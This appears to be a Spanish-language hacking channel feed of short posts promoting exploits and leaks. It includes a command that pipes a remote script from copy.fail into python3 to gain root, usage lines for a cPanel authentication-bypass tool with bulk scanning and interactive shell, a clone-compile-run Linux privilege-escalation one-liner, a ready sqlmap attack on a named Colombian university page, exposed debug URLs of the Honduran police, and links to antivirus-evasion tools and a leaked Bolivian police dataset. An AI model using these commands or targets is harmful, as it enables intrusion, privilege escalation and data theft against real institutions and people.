Recientemente se descubrió un Exploit el cual permite escalar privilegios de manera local, el Exploit afecta a varias distribuciones Linux.

CVE: CVE-2026-31431

EJECUCIÓN DE EXPLOIT:

curl https://copy.fail/exp | python3 && su

EXPLOIT EN GO:

https://github.com/badsectorlabs/copyfail-go
https://copy.fail/#copy-fail

#exploit #lpe #linux

CpanelSniper Tool for CVE-2026-41940

CVE-2026-41940 — cPanel & WHM Authentication Bypass via Session-File CRLF Injection

# Single target — scan only
python3 cPanelSniper.py -u https://target.com:2087

# Single target — interactive shell after bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Bulk scan from file
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json

# Force scan (skip cPanel detection)
python3 cPanelSniper.py -u https://target.com:2087 --force

https://github.com/ynsmroztas/cPanelSniper

#exploit #github #cve

Un investigador logro demostrar como el navegador Edge
de Microsoft guarda las contraseñas de los usuarios en
texto plano en la memoria de tu ordenador.

https://x.com/L1v1ng0ffTh3L4N

GITHUB POC:
https://github.com/L1v1ng0ffTh3L4N/Proof-of-Concepts

#github #password #maldev

MorphKatz ⚒️

Reescritor PE polimórfico para Windows x64, reescribe binarios en variantes
semánticamente idénticas pero con diferencias de bytes.

https://github.com/0xMohammedHassan/morphkatz

#maldev #bypassav #github

Afiliado de Karakurt ransomware sentenciado a 8 años en prisión 🚨

Deniss Zolotarjovs (Денисс Золотарёвс), de 35 años, de Moscú, tenia el rol de negociador dentro de la extinta pandilla Karakurt y era uno de los mas despiadados y metódico a la hora de negociar y extorsionar a sus victimas aseguran los investigadores, Deniss fue arrestado en Europa del Este y extraditado en el 2025 por los EEUU.

Al parecer el FBI no le llevo mucho tiempo dar con Deniss gracias a los errores de OPSEC que cometió. Como error numero uno esta el uso de gmail para negociaciones con sus victimas, Deniss uso gmail para regitrar el correo Karakurtlair@gmail[.]com y se comunico con un periodista usando el correo de Protonmail ( anonymoux@proton[.]me) su correo de Proton tenia un correo de icloud para correo de recuperacion. A partir de hay los investigadores requirieron información de distintos servicios como ser Proton, Google y Apple para dar con Deniss Zolotarjovs.

Moraleja: "Deja de ser un cibercriminal estupido"

Dirty Frag - Nueva vulnerabilidad para la escalada de privilegios en Linux 🚨

Hace algunas semana atrás se daba a conocer una nueva vulnerabilidad de tipo LPE (Local privilege escalation) llamada Copy Fail la cual afectaba a una buena cantidad de distribuciones Linux y que solo requeria algunas cuantas linea de codigo.
Esta semana salio otra nueva vulnerabilidad la cual permite escalar privilegios localmente y afecta a varias distribuciones incluyendo Kali :)

Sistemas afectados:

Ubuntu 24.04.4: 6.17.0-23-generic
RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64
openSUSE Tumbleweed: 7.0.2-1-default
CentOS Stream 10: 6.12.0-224.el10.x86_64
AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64
Fedora 44: 6.19.14-300.fc44.x86_64

Onliner para ejecucion:

git clone --depth=1 https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

Compilación del source:

gcc -O0 -Wall -o exp exp.c -lutil

ESCALE N LOOT$$!!!

#exploit #lpe #linux

policianacional.gob.hn exposición de información sensible 🇭🇳

WAF: Incapsula (Imperva Inc.)

https://servicios.policianacional.gob.hn/api/debug_weapon_api.php

PHPINFO

https://servicios.policianacional.gob.hn/api/simple_test.php

#leaks #honduras #fuckgob

😁🏴‍☠️

#meme #lol

SQLInjection detectado en universidad colombiana 🇨🇴

sqlmap --random-agent --tamper=space2comment,between --level=3 --risk=2 -u "https://eduteka.icesi.edu.co/certificacion/lib/bucarCertificado.php" --data="documento=fsec" --method POST  --dbs --threads=10 --batch

WAF: NONE

#sql #vuln #fsec

Mas Exploits para la escalada de privilegios (LPE) en esta ocasion
para todas las version de Windows, lo gracioso es que es una Vuln
de 2020 (CVE-2020-17103) la cual no fue parcheada o el parche fue
revertido segun los investigadores.

La vulnerabilidad afecta al controlador encargado de la
sincronizacion de ficheros en la nube para Microsoft OneDrive.

Codigo Fuente:
https://github.com/Nightmare-Eclipse/MiniPlasma

Release:
https://github.com/Nightmare-Eclipse/MiniPlasma/releases/tag/main-release

#lpe #windows #exploit #github

Piratas informaticos fitran documentos internos de la policia boliviana 🇧🇴🏴‍☠️

Un grupo de piratas informaticos llamado RiseSociety los caules se autodenominan Hacktivistas han compartido 21GB de datos internos de la Dirección Nacional de Tecnologia y Telematica de la Policia Boliviana.

En los documentos se puede ver informacion sensible sobre el personal policial, torres telefonicas pertenecientes a la policia y diagrama de camaras CCTV.

Fuck da police!!!

https://darkforums.su/Thread-Leak-from-the-Bolivian-police-DIRECCION-NACIONAL-DE-TECNOLOGIA-Y-TELEMATICA-21GB

https://t.me/bgh_leaks

#fuckgob #bolivia #policia